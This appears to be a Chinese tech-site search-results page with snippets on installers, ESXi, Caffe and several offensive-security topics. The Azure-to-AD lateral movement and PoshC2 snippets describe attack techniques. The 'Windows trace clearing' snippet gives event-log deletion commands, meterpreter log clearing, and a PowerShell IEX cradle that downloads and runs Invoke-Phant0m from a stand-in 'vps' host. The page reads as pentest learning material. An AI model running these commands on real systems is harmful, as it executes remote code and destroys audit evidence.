首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    使用 Inno Setup 制作桌面软件安装包

    假设我们已经根据 使用 Azure Pipelines 实现 CI 的做法发布了一个 WPF 应用程序,发布到 Artifacts 的文件将会如上图所示,可以以 Zip 的方式将所有输出文件下载到本地,...但我们不能将这个 Zip 包直接发给客户,我们至少还要包括开始菜单和修改注册表什么的一大堆东西,所以需要将 Release 的文件打包到一个安装包中。...在 install 目录下创建一个简单的名为 SetupScript.iss 的脚本文件,大部分保留了默认值(懒得修改公司名之类的了),它只是将 Release 目录的内容全部打包起来,内容如下: ;...\wpf\bin\Release\" #define MyAppFileVersion GetFileVersion(AddBackslash(BuildOutputFolder...Pipelines 文档 Inno Setup - a free installer for Windows programs Chocolatey Software - The package manager

    2.3K10

    从上而下的死亡:从 Azure 到 On-Prem AD 的横向移动

    导入模块并通过租户身份验证后,使用Get-AzureADDevice轻松列出所有加入租户的设备: image.png Get-AzureADDevice返回的对象比默认显示的属性多得多,您可以通过将 cmdlet 的输出通过管道传送到...此过程的工作方式与组策略类似,因为在每个设备上运行的 Intune 代理会定期使用 Intune/Endpoint Manager 签入(默认情况下是每小时一次),以查看是否有 PowerShell 脚本可以运行...回想一下,这种攻击需要访问 Azure 中的特权身份——一个有权将 PowerShell 脚本添加到 Microsoft Endpoint Manager 的身份。...有两个租户级角色具有将 PowerShell 脚本添加到 Endpoint Manager 的明确能力:“全局管理员”和“Intune 管理员”。...“Scripts”文件夹下的文件将是存储在 Azure 中的 PS1 的本地副本,“Results”文件夹下的文件将是 PS1 的输出;但是,一旦脚本完成运行,这两个文件都会自动删除。

    2.6K10

    如何使用PowerShell实现命令控制以及安全检查绕过

    Windows操作系统在全球市场上的占比是大家有目共睹的,而现代Windows平台都默认安装了PowerShell,而且系统管理员还可以毫无限制地访问和使用PowerShell终端。...与PowerShell会话类似,它也能接收任何的PowerShell命令或PoshC2命令,相关命令可以在帮助菜单中找到: ?...除此之外,该工具的输出数据还可以保存为 HTML 文件格式。...除此之外,它的运行速度和效率非常快,稳定性非常高,而且输出信息也非常详细。 综上所述,PoshC2肯定可以给广大渗透测试人员带来非常大的帮助。...参考资料 1.https://labs.nettitude.com/blog/poshc2-new-features/ 2.https://labs.nettitude.com/blog/release-of-nettitudes-poshc2

    1.6K70

    封装 ESXI 网卡驱动

    code.vmware.com/web/tool/12.0.0/vmware-powercli 解压下载的“VMware-PowerCLI-12.0.0-15947286.zip”文件,并将解压后文件拷贝至Windows PowerShell...使用管理员权限打开Windows PowerShell,并执行 Set-ExecutionPolicy RemoteSigned 命令配置远程执行策略为允许,然后执行 Import-Module VMware.PowerCLI...开始封装 如果没有 ESXi脱机捆绑包 文件,先下载,防止每次都下载 在 D 盘新建一个文件夹,把 ESXi-Customizer-PS.ps1 放到文件夹内, 以管理身份打开 PowerShell...-v67 使用 esxi 6.7 -ozip 不输出安装ISO,而是输出ESXi脱机捆绑包,可用于导入Update Manager,使用esxcli进行命令行修补或用作进一步定制的输入(这个很重要,我们先获取这个包...,后面可以多次利用,也可以提前下载) -outDir 指定输出位置 ?

    7.7K10

    Caffe-Python-自定义网络 原

    这里我们用一个例子先来体验一下 首先定义一下我们的环境变量 $PYTHONPATH,我这儿是Windows开发环境,至于Windows Caffe怎么编译由读者自己下去搞定 我使用的控制台是 Windows PowerShell...函数的意义是创建一个与参数等大小的全0矩阵 self.diff = np.zeros_like(bottom[0].data, dtype=np.float32) # loss 输出...是一个标量) top[0].reshape(1) #前向传播(计算loss bottom[0].data是第一个输入 bottom[1].data是第二个输入) #注意:前向传播是输出...#后向传播 #注意:前向传播是输出到bottom def backward(self, top, propagate_down, bottom): for i in range...caffe-python/python/test_layer.prototxt" base_lr: 0.001 lr_policy: "fixed" max_iter: 10 solver_mode: CPU 接下来在powershell

    56530

    Windows痕迹清除|内网渗透学习(十三)

    Setup 系统 转发 日志文件均存放在C:\Windows\System32\winevt\Logs, 在文件夹中上图的各个选项分别有一个日志文件.evtx, 而Microft则是有多个日志文件 使用powershell...查看所有应用程序的日志: powershell.exe -c "Get-WinEvent -FilterHashtable @{logname='Application';}" 日志清理 最粗暴的方法应该就是直接删除...执行CMD命令: net user admin /del 删除应用程序, 系统和安全日志: clearrev clearrev是meterpreter提供的命令 查看时间日志 run event_manager...-i 删除事件日志 run event_manager -c 停止日志记录 利用脚本让日志功能失效, 无法记录日志 第一种方法就是通过powershell脚本工具直接将日志记录的进程给kill掉, 从而使得日志记录失效...powershell.exe "IEX(new-object system.net.webclient).downloading String('http://vps/Invoke-Phant0m.ps1

    80521
    领券